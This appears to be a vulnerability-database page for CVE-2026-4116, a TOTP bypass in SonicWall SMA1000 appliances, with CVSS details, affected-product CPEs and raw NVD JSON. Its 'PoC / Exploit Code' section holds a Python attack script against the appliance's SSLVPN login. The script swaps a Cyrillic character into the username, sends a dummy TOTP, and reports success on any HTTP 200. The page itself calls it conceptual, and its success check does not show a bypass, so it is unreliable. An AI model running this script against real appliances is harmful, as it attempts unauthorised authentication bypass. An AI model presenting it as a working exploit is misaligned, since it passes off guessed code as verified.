Security Vulnerability Report
中文
CVE-2026-4116 CVSS 7.2 HIGH

CVE-2026-4116

Published: 2026-04-09 15:16:14
Last Modified: 2026-05-14 19:33:35

Description

Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN user to bypass Workplace/Connect Tunnel TOTP authentication.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
SonicWall SMA1000系列 (具体受影响版本请参考厂商公告SNWLID-2026-0003)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual PoC for CVE-2026-4116 # It demonstrates bypassing TOTP via Unicode manipulation target = "https://<target-ip>/sslvpn/login" username = "valid_user" password = "valid_password" # Attempt to bypass by injecting Unicode characters that normalize differently # Example: replacing standard characters with visually similar unicode chars payload_username = username.replace('a', '\u0430') # Cyrillic 'a' payload = { "username": payload_username, "password": password, "totp": "000000" # Invalid or empty TOTP } try: response = requests.post(target, data=payload, verify=False, timeout=10) if "dashboard" in response.text or response.status_code == 200: print("[+] Exploit Successful: TOTP Bypassed.") else: print("[-] Exploit Failed.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4116", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:14.010", "lastModified": "2026-05-14T19:33:35.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN user to bypass Workplace/Connect Tunnel TOTP authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-176"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "4DBCAA68-BFC4-4282-BE32-5BE837C01D78"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "9A037764-3A32-4BDA-9A30-5B37C18CD08D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:*", "matchCriteriaId": "7B24D300-1154-49A1-A1F3-FB0CC717166A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "987A8BE1-77A9-4672-933B-ACD501DD3AB4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "87A919DB-A894-4ED9-8934-C7C007AACF68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:*", "matchCriteriaId": "57B3C90F-F633-41B9-855E-902F6DC8ACA5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "6C562F03-50C0-4ED7-8AD6-4CF3C5862D13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "BFF37E70-755D-425E-84C6-DDB975288187"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:*", "matchCriteriaId": "4F7B4ED9-7A57-48DC-AAEC-A2C2EAFF3B64"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "3616EEFA-CEB8-4E9C-A53C-356C78DC1244"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "0FE09110-AA3D-4466-8C32-2480D1135AF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:*", "matchCriteriaId": "E9B414C5-C376-4216-A267-ABC0930905CE"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "E9C76A87-8E12-493D-8F14-D73D83DF641E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "48715079-B463-4626-971E-203EB3EDDAAB"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0003", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}